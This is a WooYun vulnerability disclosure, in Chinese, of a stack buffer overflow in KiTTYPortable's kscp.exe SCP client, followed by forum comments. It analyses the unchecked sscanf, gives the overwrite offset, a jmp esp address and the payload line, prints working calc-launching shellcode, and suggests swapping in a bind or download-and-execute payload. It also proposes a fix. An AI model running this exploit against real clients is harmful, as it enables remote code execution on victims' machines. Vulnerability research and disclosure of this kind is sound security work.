当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0184744

漏洞标题:白吃黑之KiTTYPortable最新版存在缓冲区溢出漏洞连接我主机可反控黑阔主机

相关厂商:KiTTYPortable

漏洞作者: k0_pwn

提交时间:2016-03-15 00:40

修复时间:2016-06-16 19:00

公开时间:2016-06-16 19:00

漏洞类型:远程代码执行

危害等级:高

自评Rank:20

漏洞状态:已交由第三方合作机构(cncert国家互联网应急中心)处理

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-03-15: 细节已通知厂商并且等待厂商处理中
2016-03-18: 厂商已经确认,细节仅向厂商公开
2016-03-21: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2016-05-12: 细节向核心白帽子及相关领域专家公开
2016-05-22: 细节向普通白帽子公开
2016-06-01: 细节向实习白帽子公开
2016-06-16: 细节向公众公开

简要描述:

说明中对此漏洞进行详细的分析,并提供了exploit,但是这个exploit是一个纯洁的exp,shellcode功能是弹计算器,如果需要可以换成弹shell,绑端口,下载并执行,想怎么玩怎么玩!
我将最新版KiTTYPortable上传到github,或者需要去官网下载最新版,审核大大直接运行我的exp即可
测试环境:windows xp sp3(如果改用win7,win8或者其他版本系统测试需要修改jmp esp地址)

详细说明:

软件说明、环境搭建及漏洞复现:
KiTTYPortable是一个用于SSH,或者Telnet等方式连接的工具,有点像putty,大概黑客经常使用吧,2015年这个软件老版本曾经出现过一个远程代码执行漏洞获得了CVE编号

QQ图片20160314203545.png


可不可以麻烦乌云可否尝试申请一个CVE编号呢?谢谢!
此漏洞的最新版本是2016年3月3日更新的**.**.**.**版本,新版本的kittyportable和exp.py已经上传到github,在测试代码部分可以看到
官网地址:http://**.**.**.**/kitty/?page=Download

2.PNG


此版本的kittyportable的kscp.exe存在远程代码执行漏洞。这里我提供PoC的关键部分,只需要将测试代码部分的相同位置替换即可

rep_perm_size = "C755 %s \n"%('A'*200)
LOG.info("send (time): %s"%repr(rep_time))


运行exp.py,测试代码中的test_rsa.key作为SSH交换的密钥需要和exp.py在同一个文件夹下,在另一台主机运行kscp.exe命令

kscp.exe -scp root@[IP]:/etc/passwd C:\a.txt


随便输入一个密码,就能看到程序崩溃。

3.PNG


可以看到此时指针指向了41414141这个位置,而这个位置是exp.py发送的数据,证明此位置可控。
漏洞分析:
kscp.exe是KiTTYPortable用于处理linux和windows之间文件传输的工具,此文件的sub_40C050函数中,处理缓冲区的sscanf函数在处理传输过来的文件名字符串时,没有进行长度检查和长度控制,从而导致执行完sscanf之后参数缓冲区被覆盖,从而导致返回地址被覆盖,造成远程代码执行。
首先我们用OD带参数启动kscp.exe

4.PNG


通过F9运行到达程序崩溃位置。

5.PNG


可以看到此时堆栈中已经接收到了畸形字符串

00227D5C   0040C2A8  /CALL 到 sscanf 来自 kscp.0040C2A3
00227D60 0184B548 |s = "755 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAE?悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙悙烫烫烫烫烫烫烫烫烫烫烫烫烫烫烫 "
00227D64 0046B463 |format = "%lo %s %n"


在崩溃位置,我们可以看到堆栈回溯的情况,首先在崩溃位置执行了jmp sscanf,正是漏洞崩溃时关键的函数调用,稍后会提及,在这个函数执行前的位置,可以看到之前的函数调用,通过IDA也能看到这个函数的名称

signed int __cdecl sub_40C050(int a1)


接下来我们在这个函数的入口处下断点,程序中断后,单步跟进程序过程

7.PNG


在此函数中,涉及到一处循环操作。

8.PNG


此处循环的作用就是接收传过来的文件名称字符串,我们直接结束这个循环,在0040c1ae的位置下断点,这里是循环结束后的汇编指令的位置,这时,观察堆栈数据。

9.PNG


这里已经接收到了exp端发送的畸形数据,这串畸形数据在后面的汇编代码中,会作为sscanf函数的参数,对一个缓冲区进行赋值。通过IDA看看这里的伪代码逻辑。首先是循环赋值操作。

do
{
while ( 1 )
{
if ( sub_40AE54(v9, 1) <= 0 )
sub_40AF38("Lost connection", (char)Control);
v11 = v80;
if ( v8 <= v80 )
break;
LOBYTE(v9) = v81;
*(_BYTE *)(*(_DWORD *)(a1 + 4) + v80) = v81;
v10 = v11 + 1;
v80 = v10;
if ( v81 == 10 )
goto LABEL_21;
}
v8 = v80 + 128;
v12 = sub_406128(*(void **)(a1 + 4), v80 + 128, 1);
*(_DWORD *)(a1 + 4) = v12;
v13 = v80;
LOBYTE(v9) = v81;
*(_BYTE *)(v12 + v80) = v81;
v10 = v13 + 1;
v80 = v10;
}
while ( v81 != 10 );


紧接着循环结束后,会在sscanf调用到赋值了畸形字符串的参数,之后会传给sscanf的第一个参数,而在整个函数过程中,没有对这个接收到的字符串进行有效的长度检查和控制。

6.PNG


因此,造成缓冲区溢出,之前我们提到崩溃时地址指向了41414141,因此我们需要精确覆盖ret地址,从而达到执行任意代码的目的。
Exploit构造:
首先我们需要找到PoC中,发送畸形字符串的关键位置,之前我们已经提到,通过调整畸形字符串内容,确定覆盖ret地址改为jmp esp的准确位置,以此方法多次尝试后,我们发现偏移76字节的位置是ret地址将会被覆盖的位置。
关键代码部分:

rep_perm_size = "C755 %s \n"%('A'*76+'\x98\x98\x98\x98'+'\x90'*80 + '\xcc'*30)
LOG.info("send (time): %s"%repr(rep_time))


客户端运行结果:

11.PNG


我们将这个位置修改成jmp esp地址,这里我们使用通用的跳转地址7ffa4512,这个跳转地址针对win xp和win 7都适用。修改完成后,我们需要确定shellcode的覆盖位置,经测试,直接连接在7ffa4512地址之后即可。主要观察\xaa\xbb\xcc\xdd
关键代码:

rep_perm_size = "C755 %s \n"%('A'*76+'\x12\x45\xfa\x7f'+'\xaa\xbb\xcc\xdd'+'\x90'*80 + '\xcc'*30)
LOG.info("send (time): %s"%repr(rep_time))


客户端结果:

13.PNG


确定了shellcode的位置之后,我们就可以直接用shellcode来执行恶意代码了,具体的exp已经在测试代码部分,直接运行即可。

shellcode  = ("\xeb\x16\x5b\x31\xc0\x50\x53\xbb\xad\x23\x86\x7c\xff\xd3\x31\xc0"
"\x50\xbb\xfa\xca\x81\x7c\xff\xd3\xe8\xe5\xff\xff\xff\x63\x61\x6c"
"\x63\x2e\x65\x78\x65\x00")
rep_perm_size = "C755 %s \n"%('A'*76+'\x12\x45\xfa\x7f'+ shellcode + '\x90'*30)
LOG.info("send (time): %s"%repr(rep_time))


客户端访问主机时,代码执行,弹出计算器

14.PNG


exploit方:

15.PNG


漏洞证明:

3.PNG


15.PNG


14.PNG

修复方案:

在do while循环之后增加长度校验,或在sscanf执行时,对参数长度进行控制,比如%10s

版权声明:转载请注明来源 k0_pwn@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:12 ×2(经典二进制漏洞 Rank 翻倍)

确认时间:2016-03-18 18:59

厂商回复:

CNVD未直接复现所述情况,暂未建立与网站管理单位的直接处置渠道,待认领。

最新状态:

暂无


漏洞评价:

评价

  1. 2016-03-15 00:45 | zcy ( 实习白帽子 | Rank:93 漏洞数:15 )

    卧槽。表哥66666

  2. 2016-03-15 00:50 | 随风的风 ( 普通白帽子 | Rank:257 漏洞数:95 | 微信公众号:233sec 不定期分享各种漏洞思...)

    扣屎,6666

  3. 2016-03-15 08:08 | just hool ( 实习白帽子 | Rank:95 漏洞数:19 | 弄啥勒?)

    k神

  4. 2016-03-15 08:57 | k0_pwn ( 普通白帽子 | Rank:159 漏洞数:16 | 专注且自由)

    @随风的风 无心表哥好

  5. 2016-03-15 08:57 | k0_pwn ( 普通白帽子 | Rank:159 漏洞数:16 | 专注且自由)

    @just hool 猛男好

  6. 2016-03-15 08:58 | k0_pwn ( 普通白帽子 | Rank:159 漏洞数:16 | 专注且自由)

    @zcy 哈哈,菜鸟每个月来打个卡,表哥见笑了!

  7. 2016-03-15 09:03 | 孤梦° ( 普通白帽子 | Rank:143 漏洞数:51 )

    666

  8. 2016-03-15 09:30 | Yuku ( 实习白帽子 | Rank:58 漏洞数:27 | 数据挖掘)

    这个牛逼

  9. 2016-03-15 09:41 | k0_pwn ( 普通白帽子 | Rank:159 漏洞数:16 | 专注且自由)

    @Yuku 是我认识的那个yuku表哥吗?

  10. 2016-03-15 09:56 | 坏男孩-A_A ( 实习白帽子 | Rank:81 漏洞数:23 | 膜拜学习中)

    mark 跟着 大神 走

  11. 2016-03-15 10:16 | Yuku ( 实习白帽子 | Rank:58 漏洞数:27 | 数据挖掘)

    @k0_pwn 不是

  12. 2016-03-15 16:07 | xiaoyang ( 路人 | Rank:6 漏洞数:2 | 一个小白帽,也有大理想)

    表哥 真66666

  13. 2016-03-15 16:08 | f4ckbaidu ( 普通白帽子 | Rank:265 漏洞数:33 | 开发真是日了狗了)

    66666

  14. 2016-03-15 16:31 | 珈蓝夜宇 ( 普通白帽子 | Rank:242 漏洞数:34 | 人不彻底绝望一次,就不会懂得什么是自己最...)

    表哥,晚上打炉石啊

  15. 2016-03-15 16:32 | k0_pwn ( 普通白帽子 | Rank:159 漏洞数:16 | 专注且自由)

    @珈蓝夜宇 请你收集一些有效的橙卡再来我和单挑,还有更新新版本了,请在wifi环境下打开炉石

  16. 2016-03-15 16:34 | 珈蓝夜宇 ( 普通白帽子 | Rank:242 漏洞数:34 | 人不彻底绝望一次,就不会懂得什么是自己最...)

    @k0_pwn 那你等等我几个月吧!!!你可以教我挖洞的啊

  17. 2016-03-15 16:37 | k0_pwn ( 普通白帽子 | Rank:159 漏洞数:16 | 专注且自由)

    @珈蓝夜宇 你挖一个漏洞的奖金,换卡包完全没问题!

  18. 2016-03-15 16:42 | 珈蓝夜宇 ( 普通白帽子 | Rank:242 漏洞数:34 | 人不彻底绝望一次,就不会懂得什么是自己最...)

    @k0_pwn 可是我昨天刚对缪缪说我养她吧....所以....

  19. 2016-03-15 16:42 | king7 ( 普通白帽子 | Rank:1857 漏洞数:252 | 早知如此绊人心,何如当初莫相识。)

    这种战斗力的表哥还需要挖JAVA反序列的?

  20. 2016-03-15 16:55 | k0_pwn ( 普通白帽子 | Rank:159 漏洞数:16 | 专注且自由)

    @king7 以前都是默默跟乌云的大神们学web,不知道乌云还收二进制的漏洞,现在知道了所以就边学web边挖一些二进制漏洞追随表哥们的脚步,哈哈

  21. 2016-03-15 16:55 | k0_pwn ( 普通白帽子 | Rank:159 漏洞数:16 | 专注且自由)

    @珈蓝夜宇 一边是兄弟情谊,一边是。。。反正你看着办!

  22. 2016-03-15 17:07 | 珈蓝夜宇 ( 普通白帽子 | Rank:242 漏洞数:34 | 人不彻底绝望一次,就不会懂得什么是自己最...)

    @k0_pwn 我怕我赢了,你会哭~还有不是说新模式不用卡包吗?

  23. 2016-03-15 19:02 | 泳少 ( 普通白帽子 | Rank:257 漏洞数:84 | ★ 梦想这条路踏上了,跪着也要...)

    直播的小伙子

  24. 2016-03-15 19:09 | Mark0smith ( 普通白帽子 | Rank:176 漏洞数:71 | 我要是再正常一点就好了)

    表哥666

  25. 2016-03-15 19:52 | k0_pwn ( 普通白帽子 | Rank:159 漏洞数:16 | 专注且自由)

    @泳少 泳少师傅好!

  26. 2016-03-15 19:53 | zhchbin ( 普通白帽子 | Rank:153 漏洞数:31 )

    看标题就知道应该是很厉害!666

  27. 2016-03-15 20:06 | 情场浪人 ( 实习白帽子 | Rank:32 漏洞数:11 | 小白一枚)

    黑阔要哭了

  28. 2016-03-15 21:44 | Bloodwolf ( 实习白帽子 | Rank:47 漏洞数:8 | whoami)

    表示直接用vps多好。

  29. 2016-03-16 00:05 | k0_pwn ( 普通白帽子 | Rank:159 漏洞数:16 | 专注且自由)

    @zhchbin 哈哈。。运气好!

  30. 2016-03-16 08:59 | 八戒 ( 路人 | Rank:17 漏洞数:3 | ~~鬼畜之王~~)

    我帅气扣总,哈哈哈。

  31. 2016-03-16 09:04 | k0_pwn ( 普通白帽子 | Rank:159 漏洞数:16 | 专注且自由)

    @八戒 谢谢八总。。。

  32. 2016-03-16 09:17 | 土夫子 ( 普通白帽子 | Rank:475 漏洞数:86 | 看似山穷水尽,终将柳暗花明)

    666的不要不要,带我写exp

  33. 2016-03-16 10:16 | k0_pwn ( 普通白帽子 | Rank:159 漏洞数:16 | 专注且自由)

    @土夫子 向土夫子师傅学习!

  34. 2016-03-16 10:21 | 八戒 ( 路人 | Rank:17 漏洞数:3 | ~~鬼畜之王~~)

    @xsser @疯狗 这个牛逼洞会不会打雷啊

  35. 2016-03-16 22:04 | 雷锋 ( 路人 | Rank:12 漏洞数:2 | 看人生万般无奈,看世间千姿百态...)

    光刃 挖过很多二进制洞,最近差不多一年没见过了,乌云奖金也领了很多,楼主加油!

  36. 2016-03-16 23:05 | k0_pwn ( 普通白帽子 | Rank:159 漏洞数:16 | 专注且自由)

    @雷锋 哈哈,我认识光刃牛的,在看雪交流过,现在估计忙了吧。。。谢谢,共同进步!

  37. 2016-03-16 23:26 | 浅蓝 ( 普通白帽子 | Rank:303 漏洞数:113 | 乌云最帅 没有之一)

    屌炸

  38. 2016-04-27 13:24 | 小小白帽 ( 实习白帽子 | Rank:61 漏洞数:18 | 致力于代码审计和漏洞挖掘)

    大神,带我二进制飞了。

  39. 2016-04-27 14:09 | ANS5 ( 普通白帽子 | Rank:349 漏洞数:107 | 此心安处是吾乡)

    大神,我刚发现原来是你!

  40. 2016-04-27 14:45 | k0_pwn ( 普通白帽子 | Rank:159 漏洞数:16 | 专注且自由)

    @ANS5 你是。。?

  41. 2016-05-12 19:16 | scanf ( 核心白帽子 | Rank:1672 漏洞数:235 | 。)

    可怕